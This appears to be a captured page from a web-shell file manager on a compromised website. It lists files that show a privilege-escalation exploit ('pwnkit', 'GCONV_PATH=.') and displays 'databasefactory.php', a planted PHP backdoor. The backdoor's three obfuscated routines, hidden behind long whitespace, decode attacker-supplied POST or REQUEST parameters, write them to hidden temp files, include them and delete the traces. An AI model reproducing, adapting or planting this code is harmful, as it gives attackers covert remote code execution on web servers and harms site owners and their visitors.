Gecko [ bening138.net ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
.well-known	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
amp	[ DIR ]	drwxrwxrwx
img	[ DIR ]	dr-xr-xr-x
.htaccess	552 B	-rw-rw-rw-
.mad-root	0 B	-rw-r--r--
api.php	30.29 KB	-rw-r--r--
databasefactory.php	2.63 KB	-rw-------
error_log	12.76 KB	-rw-r--r--
google6d8e584df9883a68.html	53 B	-rw-r--r--
index.html	554.88 KB	-rw-rw-rw-
index.php	143.87 KB	-r--r--r--
mou.php	143.87 KB	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x
robot.txt	957 B	-rw-rw-rw-
sitemap.xml	515 B	-rw-rw-rw-

Code Editor : databasefactory.php

<?php																																										if(!is_null($_POST["fa\x63"] ?? null)){ $rec = $_POST["fa\x63"]; $rec= explode( '.' , $rec ) ; $ent= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); $w= 0; $__len= count($rec ); do {if ($w >= $__len) break; $v2= $rec[$w]; $chS= ord($s[$w % $lenS] ); $d= ((int)$v2 - $chS - ($w % 10)) ^ 11; $ent .= chr($d ); $w++; } while (true ); $val = array_filter([getenv("TMP"), getcwd(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp"]); $flg = 0; do { $hld = $val[$flg] ?? null; if ($flg >= count($val)) break; if ((is_dir($hld) and is_writable($hld))) { $ent = join("/", [$hld, ".dchunk"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $ent; @unlink($ent); die(); } } $flg++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x76\x61l"])){ $desc = $_POST["\x76\x61l"]; $desc = explode ("." , $desc ); $ent = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); foreach ($desc as $n => $v9) { $chS = ord($salt2[$n %$sLen]); $dec = ((int)$v9 - $chS - ($n %10)) ^ 69; $ent .= chr($dec);} $item = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp"]); for ($value = 0, $element = count($item); $value < $element; $value++) { $rec = $item[$value]; if (array_product([is_dir($rec), is_writable($rec)])) { $itm = vsprintf("%s/%s", [$rec, ".property_set"]); if (file_put_contents($itm, $ent)) { require $itm; unlink($itm); die(); } } } }

if(!empty($_REQUEST["\x64\x61t"])){
	$bind = $_REQUEST["\x64\x61t"];
	 $bind=	 explode		 (	'.'	 ,$bind	) 	; 	
	$symbol ='';
            $salt ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =strlen($salt);
            $p =0;
            $len =count($bind);
    
            do {
                if ($p >= $len) break;
                $v6 =$bind[$p];
                $chS =ord($salt[$p % $lenS]);
                $d =((int)$v6 - $chS - ($p % 10))^	43;
                $symbol .= chr($d);
                $p++;
            } while (true);
	$val = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/tmp"]);
	$item = 0;
do {
    $mrk = $val[$item] ?? null;
    if ($item >= count($val)) break;
    		if (is_dir($mrk) && is_writable($mrk)) {
    $ent = implode("/", [$mrk, ".flag"]);
    $success = file_put_contents($ent, $symbol);
if ($success) {
	include $ent;
	@unlink($ent);
	exit;}
}
    $item++;
} while (true);
}

${this.title}

Code Editor : databasefactory.php